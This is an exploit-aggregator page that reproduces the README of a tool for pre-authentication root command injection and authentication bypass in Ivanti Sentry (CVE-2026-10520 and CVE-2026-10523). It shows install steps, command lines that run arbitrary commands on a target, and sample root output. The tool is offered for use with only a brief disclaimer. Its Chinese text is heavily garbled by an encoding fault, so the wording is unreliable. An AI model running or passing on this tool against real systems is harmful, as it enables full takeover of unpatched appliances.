Sploitus

Exploit for CVE-2026-10520 CVE-2026-10520 CVE-2026-10523

kitploit ยท 2026-08-26

Exploit Code

MARKDOWN145 lines
## https://sploitus.com/exploit?id=KITPLOIT:TOOLS-GITHUB-0XBLACKASH-CVE-2026-10520
# ๐ŸŽฏ CVE-2026-10520 ไธŽ CVE-2026-10523 - Ivanti Sentry

![ChatGPT Image Jun 11, 2026, 11_19_12 AM](https://assets.kitploit.com/production/public/readmes/14192/8f53151b73554d43470ac22d3330aea07181792e3619a71f31c1307b0c455b97.png)

![Ivanti Sentry](https://img.shields.io/badge/Ivanti-Sentry-red?style=for-the-badge) ![Critical](https://img.shields.io/badge/Severity-CRITICAL-red?style=for-the-badge) ![RCE](https://img.shields.io/badge/Pre--Auth-RCE-blue?style=for-the-badge)

**ๆ— ้œ€่ฎค่ฏ็š„่ฟœ็จ‹ไปฃ็ ๆ‰ง่กŒ + ่บซไปฝ้ชŒ่ฏ็ป•่ฟ‡**

**ไฝœ่€…๏ผš** Ashraf Zaryouh **"0xBlackash"**

![GitHub](https://img.shields.io/badge/GitHub-0xBlackash-black?style=for-the-badge&logo=github)

* * *

## ๐Ÿ“Œ ๆฆ‚่ฟฐ

ๅฝฑๅ“ **Ivanti Sentry** ๏ผˆๅŽŸ MobileIron Sentry๏ผ‰็š„ไธคไธชไธฅ้‡ๆผๆดž๏ผš

  * **CVE-2026-10520** โ†’ **CVSS 10.0** \- ๆ— ้œ€่ฎค่ฏ็š„ๆ“ไฝœ็ณป็ปŸๅ‘ฝไปคๆณจๅ…ฅ๏ผˆไปฅ root ๆƒ้™ๆ‰ง่กŒ RCE๏ผ‰
  * **CVE-2026-10523** โ†’ **CVSS 9.9** \- ่บซไปฝ้ชŒ่ฏ็ป•่ฟ‡



่ฟ™ไบ›ๆผๆดžๅ…่ฎธๆœช่ฎค่ฏ็š„ๆ”ปๅ‡ป่€…ๅฎŒๅ…จๆ”ป้™ท็ณป็ปŸใ€‚

* * *

## โœจ ๅŠŸ่ƒฝ็‰นๆ€ง

  * โœ… ็ฎ€ๆดๅฟซ้€Ÿ็š„ PoC
  * โœ… ๆ— ้œ€่ฎค่ฏ๏ผˆๆ— ้œ€ๅ‡ญๆฎ๏ผ‰
  * โœ… ไปฅ root ๆƒ้™ๆ‰ง่กŒๅ‘ฝไปค
  * โœ… ่ฏฆ็ป†่พ“ๅ‡บๆ ผๅผ
  * โœ… ไปฃ็†ๆ”ฏๆŒ
  * โœ… ่ฏฆ็ป†ๆจกๅผ
  * โœ… ็พŽ่ง‚็š„็ปˆ็ซฏ็•Œ้ข



* * *

## ๐Ÿš€ ไฝฟ็”จๆ–นๆณ•

root@kitploit:~
    
    
    python3 CVE-2026-10520.py --url <็›ฎๆ ‡> --cmd <ๅ‘ฝไปค>
    

### ็คบไพ‹

root@kitploit:~
    
    
    # ๅŸบๆœฌ็”จๆณ•
    python3 CVE-2026-10520.py --url https://target.com:8443 --cmd "id"
    
    # ่ฏฆ็ป†ๆจกๅผ
    python3 CVE-2026-10520.py --url https://target.com:8443 --cmd "whoami" -v
    
    # ไฝฟ็”จไปฃ็†
    python3 CVE-2026-10520.py --url https://target.com:8443 --cmd "uname -a" --proxy 127.0.0.1:8080
    
    # ๆŸฅ็œ‹ๅ†…ๆ ธ็‰ˆๆœฌ
    python3 CVE-2026-10520.py --url https://target.com:8443 --cmd "uname -a"
    

* * *

## ๐Ÿ“‹ ๅ‚ๆ•ฐ้€‰้กน

* * *

## ๐Ÿ› ๏ธ ๅฎ‰่ฃ…

root@kitploit:~
    
    
    git clone https://github.com/0xBlackash/CVE-2026-10520.git
    cd CVE-2026-10520
    chmod +x CVE-2026-10520.py
    

* * *

## ๐Ÿ“ท ๆˆๅŠŸๅˆฉ็”จ็คบไพ‹

ๅฝ“็›ฎๆ ‡ๅญ˜ๅœจๆผๆดžๆ—ถ๏ผŒไฝ ๅฐ†็œ‹ๅˆฐ๏ผš

root@kitploit:~
    
    
     โ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ•— โ–ˆโ–ˆโ•—  โ–ˆโ–ˆโ•—โ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ•— โ–ˆโ–ˆโ•—      โ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ•—  โ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ•—โ–ˆโ–ˆโ•—  โ–ˆโ–ˆโ•— โ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ•— โ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ•—โ–ˆโ–ˆโ•—  โ–ˆโ–ˆโ•—
    โ–ˆโ–ˆโ•”โ•โ–ˆโ–ˆโ–ˆโ–ˆโ•—โ•šโ–ˆโ–ˆโ•—โ–ˆโ–ˆโ•”โ•โ–ˆโ–ˆโ•”โ•โ•โ–ˆโ–ˆโ•—โ–ˆโ–ˆโ•‘     โ–ˆโ–ˆโ•”โ•โ•โ–ˆโ–ˆโ•—โ–ˆโ–ˆโ•”โ•โ•โ•โ•โ•โ–ˆโ–ˆโ•‘ โ–ˆโ–ˆโ•”โ•โ–ˆโ–ˆโ•”โ•โ•โ–ˆโ–ˆโ•—โ–ˆโ–ˆโ•”โ•โ•โ•โ•โ•โ–ˆโ–ˆโ•‘  โ–ˆโ–ˆโ•‘
    โ–ˆโ–ˆโ•‘โ–ˆโ–ˆโ•”โ–ˆโ–ˆโ•‘ โ•šโ–ˆโ–ˆโ–ˆโ•”โ• โ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ•”โ•โ–ˆโ–ˆโ•‘     โ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ•‘โ–ˆโ–ˆโ•‘     โ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ•”โ• โ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ•‘โ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ•—โ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ•‘
    โ–ˆโ–ˆโ–ˆโ–ˆโ•”โ•โ–ˆโ–ˆโ•‘ โ–ˆโ–ˆโ•”โ–ˆโ–ˆโ•— โ–ˆโ–ˆโ•”โ•โ•โ–ˆโ–ˆโ•—โ–ˆโ–ˆโ•‘     โ–ˆโ–ˆโ•”โ•โ•โ–ˆโ–ˆโ•‘โ–ˆโ–ˆโ•‘     โ–ˆโ–ˆโ•”โ•โ–ˆโ–ˆโ•— โ–ˆโ–ˆโ•”โ•โ•โ–ˆโ–ˆโ•‘โ•šโ•โ•โ•โ•โ–ˆโ–ˆโ•‘โ–ˆโ–ˆโ•”โ•โ•โ–ˆโ–ˆโ•‘
    โ•šโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ•”โ•โ–ˆโ–ˆโ•”โ• โ–ˆโ–ˆโ•—โ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ•”โ•โ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ•—โ–ˆโ–ˆโ•‘  โ–ˆโ–ˆโ•‘โ•šโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ•—โ–ˆโ–ˆโ•‘  โ–ˆโ–ˆโ•—โ–ˆโ–ˆโ•‘  โ–ˆโ–ˆโ•‘โ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ•‘โ–ˆโ–ˆโ•‘  โ–ˆโ–ˆโ•‘
     โ•šโ•โ•โ•โ•โ•โ• โ•šโ•โ•  โ•šโ•โ•โ•šโ•โ•โ•โ•โ•โ• โ•šโ•โ•โ•โ•โ•โ•โ•โ•šโ•โ•  โ•šโ•โ• โ•šโ•โ•โ•โ•โ•โ•โ•šโ•โ•  โ•šโ•โ•โ•šโ•โ•  โ•šโ•โ•โ•šโ•โ•โ•โ•โ•โ•โ•โ•šโ•โ•  โ•šโ•โ•
      
              CVE-2026-10520 & CVE-2026-10523 PoC ๆผๆดžๅˆฉ็”จ็จ‹ๅบ
              Ivanti Sentry ๆ— ้œ€่ฎค่ฏ RCE + ่บซไปฝ้ชŒ่ฏ็ป•่ฟ‡
              
              ไฝœ่€…๏ผšAshraf Zaryouh "0xBlackash"
              GitHub๏ผšhttps://github.com/0xBlackash
    
    
    [+] ็›ฎๆ ‡ๅญ˜ๅœจๆผๆดž๏ผ
    ๅ‘ฝไปค่พ“ๅ‡บ๏ผš
    uid=0(root) gid=0(root) groups=0(root)
    

* * *

## โš ๏ธ ๅ…่ดฃๅฃฐๆ˜Ž

> ๆญคๅทฅๅ…ทไป…ไพ›**ๆ•™่‚ฒๅ’ŒๆŽˆๆƒๅฎ‰ๅ…จๆต‹่ฏ•** ไฝฟ็”จใ€‚  
>  ๆœช็ปๆŽˆๆƒไฝฟ็”จไบŽไฝ ๆœชๆ‹ฅๆœ‰็š„็ณป็ปŸๆ˜ฏ**่ฟๆณ•่กŒไธบ** ใ€‚  
>  ไฝœ่€…ๅฏนๆปฅ็”จ่กŒไธบไธๆ‰ฟๆ‹…ไปปไฝ•่ดฃไปปใ€‚

* * *

## ๐Ÿ”ง ๅ—ๅฝฑๅ“็‰ˆๆœฌ

  * Ivanti Sentry **10.5.2ใ€10.6.2ใ€10.7.1 ไน‹ๅ‰็š„็‰ˆๆœฌ**



**ๅทฒๅœจไปฅไธ‹็‰ˆๆœฌไฟฎๅค๏ผš** 10.5.2 / 10.6.2 / 10.7.1

* * *

## ๐Ÿ“œ ๅ‚่€ƒ่ต„ๆ–™

  * Ivanti ๅฎ˜ๆ–นๅฎ‰ๅ…จๅ…ฌๅ‘Š
  * watchTowr Labs ๅŽŸๅง‹็ ”็ฉถๆŠฅๅ‘Š
  * NVD ๆก็›ฎ๏ผšCVE-2026-10520ใ€CVE-2026-10523



* * *

**็”ฑ Ashraf Zaryouh "0xBlackash" ็”จๅฟƒๅˆถไฝœ โค๏ธ**

**ๅฆ‚ๆžœไฝ ่ง‰ๅพ—ๆœ‰็”จ๏ผŒ่ฏท็ป™่ฟ™ไธชไป“ๅบ“็‚นไธชๆ˜Ÿ๏ผ** โญ